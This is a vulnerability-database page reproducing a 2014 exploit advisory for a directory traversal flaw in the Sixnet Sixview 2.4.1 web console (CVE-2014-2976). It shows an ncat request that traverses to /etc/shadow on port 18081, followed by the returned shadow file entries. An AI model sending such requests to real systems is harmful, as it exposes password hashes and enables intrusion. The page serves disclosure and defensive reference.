Vulners
Lucene search
Sixnet Sixview 2.4.1 - Web Console Directory Traversal
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Sixnet Sixview 2.4.1 - Web Console Directory Traversal | 23 Apr 201400:00 | – | zdt |
 | Sixnet Sixview Web Console Directory Traversal (CVE-2014-2976) | 23 Jul 201400:00 | – | checkpoint_advisories |
 | CVE-2014-2976 | 23 Apr 201414:00 | – | cve |
 | CVE-2014-2976 | 23 Apr 201414:00 | – | cvelist |
 | EUVD-2014-2998 | 23 Apr 201414:00 | – | euvd |
 | CVE-2014-2976 | 23 Apr 201415:55 | – | nvd |
 | Sixnet Sixview 2.4.1 Directory Traversal | 22 Apr 201400:00 | – | packetstorm |
 | Directory traversal | 23 Apr 201415:55 | – | prion |
#Exploit Title: Sixnet sixview web console directory traversal
#Date: 2014-04-21
#Exploit Author: daniel svartman
#Vendor Homepage: www.sixnet.com
#Software Link: Not available, hardware piece - appliance
#Version: 2.4.1
#Tested on: Sixnet Sixview web console (Linux based appliance)
#CVE : 2014-2976
PoV, Sixnet sixview web console handle requests through HTTP on port 18081.
These requests can be received either through GET or POST requests.
I discovered that GET requests are not validated at the server side,
allowing an attacker to request arbitrary files from the supporting OS.
Below is an example of the affected URL and the received answer using
netcat:
ncat <HOSTNAME> 18081
GET /../../../../../../../../../../etc/shadow HTTP/1.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html
Keep-Alive: timeout=15, max=50
Date: <SNIP>
Last-Modified: <SNIP>
Content-Length: 1025
root:<REMOVED>:15655:0:99999:7:::
bin:*:15513:0:99999:7:::
daemon:*:15513:0:99999:7:::
adm:*:15513:0:99999:7:::
lp:*:15513:0:99999:7:::
sync:*:15513:0:99999:7:::
shutdown:*:15513:0:99999:7:::
halt:*:15513:0:99999:7:::
mail:*:15513:0:99999:7:::
uucp:*:15513:0:99999:7:::
<SNIP>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Apr 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.03743